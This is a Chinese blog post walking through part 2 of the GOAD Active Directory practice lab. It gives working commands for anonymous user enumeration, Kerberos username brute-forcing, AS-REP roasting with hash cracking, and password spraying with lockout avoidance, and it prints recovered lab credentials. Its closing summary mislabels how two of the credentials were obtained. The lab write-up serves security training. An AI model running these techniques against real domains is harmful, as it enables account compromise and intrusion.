banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

active directory遊戲(GOAD) 第2部分 查找用戶

game-of-active-directoryGOAD-part-1中進行了一些常規配置及端口信息收集後,學習下第二部分的內容,進行用戶信息收集,嘗試收集一些憑證信息。

image

vagrant up啟動休眠的機器

CME 枚舉#

DC02:192.168.56.11

cme smb 192.168.56.11 --users

image

Samwell Tarly 用戶有提示,Password : Heartsbane

獲取域密碼策略

crackmapexec smb 192.168.56.11 --pass-pol

image

查看密碼策略,5 分鐘內登錄失敗 5 次,則鎖定五分鐘

enum4linux 枚舉#

enum4linux 192.168.56.11

enum4linux 也可以 cme 一樣,枚舉出用戶信息

image

密碼策略

image

還可以枚舉出域組成員

image

rpc 調用#

image

匿名列表是通過在 winterfell 這台設備上(IP 地址為 192.168.56.11)執行遠程過程調用來實現的,同樣,我們也可以通過 rpcclient 工具直接進行這一操作。

$ rpcclient -U "NORTH\\" 192.168.56.11 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x456]
user:[sansa.stark] rid:[0x45a]
user:[brandon.stark] rid:[0x45b]
user:[rickon.stark] rid:[0x45c]
user:[hodor] rid:[0x45d]
user:[jon.snow] rid:[0x45e]
user:[samwell.tarly] rid:[0x45f]
user:[jeor.mormont] rid:[0x460]
user:[sql_svc] rid:[0x461]
rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44f]
group:[Stark] rid:[0x452]
group:[Night Watch] rid:[0x453]
group:[Mormont] rid:[0x454]
rpcclient $> 

獲取所有域用戶

# 列出NORTH域中Domain Users組的成員,使用 IP 地址192.168.56.11連接,並使用匿名用戶身份。
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'

image

當不允許匿名會話時,列舉 DC 的匿名會話#

Winterfell 域控制器允許匿名連接,這正是我們能夠列出域用戶和組的原因。然而,如今這種配置幾乎不再出現。(相反,在用戶描述中包含密碼的情況相當常見。)

我們仍然可以通過暴力枚舉來列舉有效用戶。

1、創建個字典

從 HBO 中下載的

# 目前這條命令已無法下載
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt

得到如下字典

robert.baratheon
tyrion.lannister
cersei.lannister
catelyn.stark
jaime.lannister
daenerys.targaryen
viserys.targaryen
jon.snow
robb.stark
sansa.stark
arya.stark
bran.stark
rickon.stark
joffrey.baratheon
jorah.mormont
theon.greyjoy
samwell.tarly
renly.baratheon
ros
jeor.mormont
gendry
lysa.arryn
robin.arryn
bronn
grand.maester
varys
loras.tyrell
shae
benjen.stark
barristan.selmy
khal.drogo
hodor
lancel.lannister
maester.luwin
alliser.thorne
osha
maester.aemon
talisa.stark
brienne.of
davos.seaworth
tywin.lannister
stannis.baratheon
margaery.tyrell
ygritte
balon.greyjoy
roose.bolton
gilly
podrick.payne
melisandre
yara.greyjoy
jaqen.h’ghar
grey.worm
beric.dondarrion
missandei
mance.rayder
tormund
ramsay.snow
olenna.tyrell
thoros.of
orell
qyburn
brynden.tully
tommen.baratheon
daario.naharis
oberyn.martell
myrcella.baratheon
obara.sand
nym.sand
tyene.sand
high.sparrow
trystane.martell
doran.martell
euron.greyjoy
lady.crane
high.priestess
randyll.tarly
izembaro
brother.ray
archmaester.ebrose

讓我們嘗試在 meereen.essos.local 域控制器和 kingslanding.sevenkingdoms.local 上使用這個用戶字典。

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10

image

在 sevenkingdoms.local 上得到了 7 個可用的用戶

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.12

image

essos.local 發現了 5 個可用的用戶

nmap的頁面上可以看到:

通過嘗試各種可能的用戶名來識別有效的用戶名,並對 Kerberos 服務進行查詢。如果請求的用戶名不存在,服務器會返回 Kerberos 錯誤代碼KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN,這樣我們就可以知道該用戶名是無效的。如果用戶名有效,服務器會通過 AS-REP 響應發送 TGT,或者返回錯誤KRB5KDC_ERR_PREAUTH_REQUIRED,這表示用戶需要進行預認證。

總的來說,暴力破解用戶密碼時,badpwdcount 的數值並不會上升(用 crackmapexec 看不到 badpwdcount 的數值)。

image

smb 共享#

看看 smb 共享

image

找匿名共享

cme smb 192.168.56.10-23 -u 'a' -p '' --shares

image

發現了一些可以進行讀取和寫入操作的匿名共享資源。

現在有用戶,但是沒有憑證#

我們現在已經擁有了用戶列表,下一步是嘗試獲取他們的密碼。

image

ASREP - roasting#

根據之前查找的用戶名創建了一個 users.txt 文件,其中包含了之前在 north.sevenkingdoms.local 上發現的所有用戶名。

sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator

現在可以嘗試利用 impacket 工具對所有用戶執行 AS-REP 攻擊。

GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt

image

我們為 brandon.stark 賬戶取得了訪問權限,嘗試破解它,因為用戶並沒有啟用 Kerberos 預認證機制。

hashcat -m 18200 hashs.txt rockyou.txt

image

現在得到兩個帳號密碼

brandon.stark:iseedeadpeople
Samwell Tarly:Heartsbane

Password Spray#

我們可以進行傳統的用戶名和密碼驗證測試。

crackmapexec smb 192.168.56.11 -u user.txt -p user.txt --no-bruteforce

image

可以使用sprayhound

安裝 sprayhound

sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev
git clone https://github.com/Hackndo/sprayhound.git
cd sprayhound
python3 setup.py install
sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower

image

我們可以使用一個有效的用戶身份來嘗試規避賬戶鎖定的問題(通過 -t 選項來設定剩余的嘗試機會)。

sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -t 2

現在獲得了三組憑證,分別為:

  • brandon.stark(通過用戶描述獲的)
  • Samwell Tarly(通過 asreproasting 獲的)
  • hodor(通過密碼噴射獲的)

這一章結束,使用vagrant suspend暫停虛擬機,需要在虛擬環境的/GOAD/ad/GOAD/providers/virtualbox下運行 vagrant

image

image

參考:
https://mayfly277.github.io/posts/GOADv2-pwning-part2/
封面圖來自:https://wallhaven.cc/w/3lj6z9

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。